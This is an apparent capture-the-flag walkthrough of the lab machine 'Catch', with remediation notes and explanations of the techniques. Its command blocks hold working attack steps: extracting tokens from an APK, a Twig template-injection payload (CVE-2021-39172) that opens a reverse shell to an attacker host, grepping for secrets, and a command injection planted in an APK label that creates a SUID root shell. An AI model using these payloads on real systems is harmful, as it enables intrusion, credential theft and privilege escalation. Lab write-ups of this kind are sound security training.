Catch
Summary
I downloaded a publicly distributed Android APK from the target's port-80 web server and decompiled it, recovering hardcoded bearer tokens for internal services. A valid Let's Chat token was replayed against the messaging API to read private chat history, which contained plaintext Cachet administrator credentials.
Cachet was vulnerable to Twig server-side template injection (CVE-2021-39172), granting remote code execution inside a Docker container as the web user. A cleartext password found in the container's .env configuration file had been reused as the host-OS login for account 'will', allowing SSH access to the underlying machine and capture of the user flag.
A root-owned cron job that validated incoming APK files extracted the application label from each file's AndroidManifest.xml and interpolated it directly into a shell command without sanitization. A crafted APK whose label embedded a command-injection payload was dropped into the watched directory; one minute later the cron executed it as root, producing a SUID bash copy that granted a root shell and the root flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV -sC -p- --min-rate 5000 $TARGET -oA catch_fullcurl -s http://$TARGET/ | grep -i 'apk\|download'wget http://$TARGET/catchv1.0.apkExact commands 3
apktool d catchv1.0.apk -o catch_decompiledjadx -d catch_jadx catchv1.0.apkgrep -rni 'token\|api_key\|bearer\|secret\|authorization' catch_jadx/ catch_decompiled/ 2>/dev/nullFixRemove all hardcoded secrets from the Android applicationCritical
Exact commands 2
curl -s -H 'Authorization: Bearer <letschat_api_token>' http://$TARGET:5000/rooms | python3 -m json.toolcurl -s -H 'Authorization: Bearer <letschat_api_token>' "http://$TARGET:5000/rooms/<room_id>/messages?limit=50" | python3 -m json.toolFixRestrict Let's Chat to internal networks and prohibit sharing credentials in chatHigh
Exact commands 3
curl -s -X POST "http://$TARGET:8000/api/v1/components" -H 'Content-Type: application/json' -H 'X-Cachet-Token: <cachet_api_token>' -d '{"name":"{{7*7}}","status":1}' | python3 -m json.toolnc -lvnp 4444curl -s -X POST "http://$TARGET:8000/api/v1/components" -H 'Content-Type: application/json' -H 'X-Cachet-Token: <cachet_api_token>' -d '{"name":"{{['bash -c \'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\'']|filter('system')}}","status":1}'FixPatch or replace Cachet to eliminate the Twig SSTI vulnerability (CVE-2021-39172)Critical
Exact commands 3
cat /var/www/html/cachet/.envenv | grep -iE 'pass|secret|key|token|user'find / -maxdepth 8 -name '.env' -o -name 'database.php' -o -name 'config.php' 2>/dev/null | head -20FixEliminate credential reuse between container configuration and host OS accountsHigh
Exact commands 1
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null will@$TARGET 'id; hostname; cat /home/will/user.txt'Exact commands 9
apktool d catchv1.0.apk -o evil_srcgrep -n 'app_name\|android:label' evil_src/res/values/strings.xml evil_src/AndroidManifest.xmlsed -i 's|<string name="app_name">.*</string>|<string name="app_name">$(cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash)</string>|' evil_src/res/values/strings.xmlapktool b evil_src -o evil_unsigned.apkkeytool -genkey -v -keystore debug.keystore -alias androiddebugkey -keyalg RSA -keysize 2048 -validity 10000 -storepass android -keypass android -dname 'CN=Debug,OU=Android,O=Android,L=Mountain View,ST=California,C=US'apksigner sign --ks debug.keystore --ks-pass pass:android --key-pass pass:android --out evil.apk evil_unsigned.apkscp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null evil.apk will@$TARGET:/opt/mdm/apk_bin/evil.apksshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no will@$TARGET 'sleep 65; ls -la /tmp/rootbash 2>&1'sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no will@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'FixSanitize all data derived from external files before use in shell commands in the root cron scriptCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
| 3000/tcp | http Golang net/http server |
| 8000/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |